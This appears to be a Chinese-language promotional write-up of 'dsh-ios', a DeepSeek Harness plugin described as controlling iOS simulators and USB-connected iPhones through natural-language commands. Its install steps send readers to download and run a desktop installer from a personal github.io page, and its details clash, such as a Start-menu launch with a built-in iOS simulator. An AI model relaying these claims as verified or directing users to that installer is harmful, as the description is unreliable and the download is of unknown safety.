DeepSeek Harness 插件:dsh-ios

前言

在 DeepSeek Harness (DSH) 的插件生態中,連接本地資源是擴展智能體能力的關鍵。當對話內容需要與設備界面交互時,手動操作往往效率低下。dsh-ios 插件旨在解決這一問題,它將 iOS 設備或模擬器直接集成到對話流程中,允許智能體通過自然語言指令控制設備。

插件簡介

kickstartparty3459/dsh-ios 是一個 DSH 插件,旨在在對話窗口中運行實時的 iOS 模擬器,或通過 USB 連接控制真實的 iPhone。它提供 22 個專門的代理工具,支持 MJPEG 預覽流、SwiftUI 熱重載以及屏幕文本讀取等功能。

維護者: Kickstartparty3459
許可證: MIT
核心價值: 在 DSH 對話中實現零代碼的 iOS 設備控制。

核心功能

該插件提供以下已覈實的能力:

  • 設備控制: 支持控制實時的 iOS 模擬器以及通過 USB 連接的真實 iPhone。
  • 代理工具集: 內置 22 個工具,覆蓋設備交互的常見需求。
  • 視覺與交互:
    • MJPEG 預覽: 提供實時的屏幕視頻流預覽。
    • SwiftUI 熱重載: 支持代碼修改後的即時預覽。
    • Tap and Type: 支持點擊屏幕元素和輸入文本。
    • Find Anything by Sight: 利用視覺識別能力定位界面元素。
    • Read Text from Screen: 讀取屏幕上的文字內容。
    • Work with Lists: 處理列表類界面的滾動與選擇。
  • 控制面板: 提供側邊欄控制面板以輔助操作。

安裝與配置

根據項目源碼,該插件目前不提供命令行安裝命令,而是通過桌面應用程序進行分發。安裝流程如下:

  1. 下載應用
    訪問 https://kickstartparty3459.github.io,找到最新版本並下載安裝包。

  2. 安裝程序
    打開下載的文件,按照屏幕提示完成安裝。安裝過程通常耗時較短。

  3. 啓動
    安裝完成後,從桌面或開始菜單啓動 dsh-ios 應用程序。

  4. 連接設備

    • 真實設備: 使用 USB 數據線將 iPhone 連接到電腦,並確保手機處於解鎖狀態。
    • 模擬器: 直接在應用內點擊“Simulator”按鈕啓動內置的 iOS 模擬器。

使用示例

在 DSH 的對話窗口中,可以直接使用自然語言指令控制設備。已覈實的典型指令包括:

  • “Open the Settings app”
  • “Turn on Wi-Fi”
  • “Scroll down”
  • “Tap the login button”
  • “Take a screenshot”

注意事項

  • 本地運行: 應用程序在本地計算機上運行,數據僅存儲在本地,不會上傳至雲端。
  • 物理連接: 操作真實 iPhone 時必須使用 USB 數據線。
  • 無需編程技能: 該工具設計爲無代碼操作,只要能進行基本的點擊和打字操作即可使用。
  • 模擬器支持: 即使沒有物理 iPhone,也可以使用內置的 iOS 模擬器進行測試。

結語

dsh-ios 爲 DeepSeek Harness 提供了原生的 iOS 設備控制能力,使得智能體能夠執行復雜的 UI 交互任務。對於需要自動化測試、演示操作或調試 UI 的開發者與測試人員而言,這是一個實用的工具。

項目地址: https://github.com/Kickstartparty3459/dsh-ios
插件目錄: https://www.skillhub.cn/plugins/Kickstartparty3459/dsh-ios

羽毛球分组比赛记分
小程序二维码

欢迎使用《羽毛球分组比赛记分》微信小程序

小夜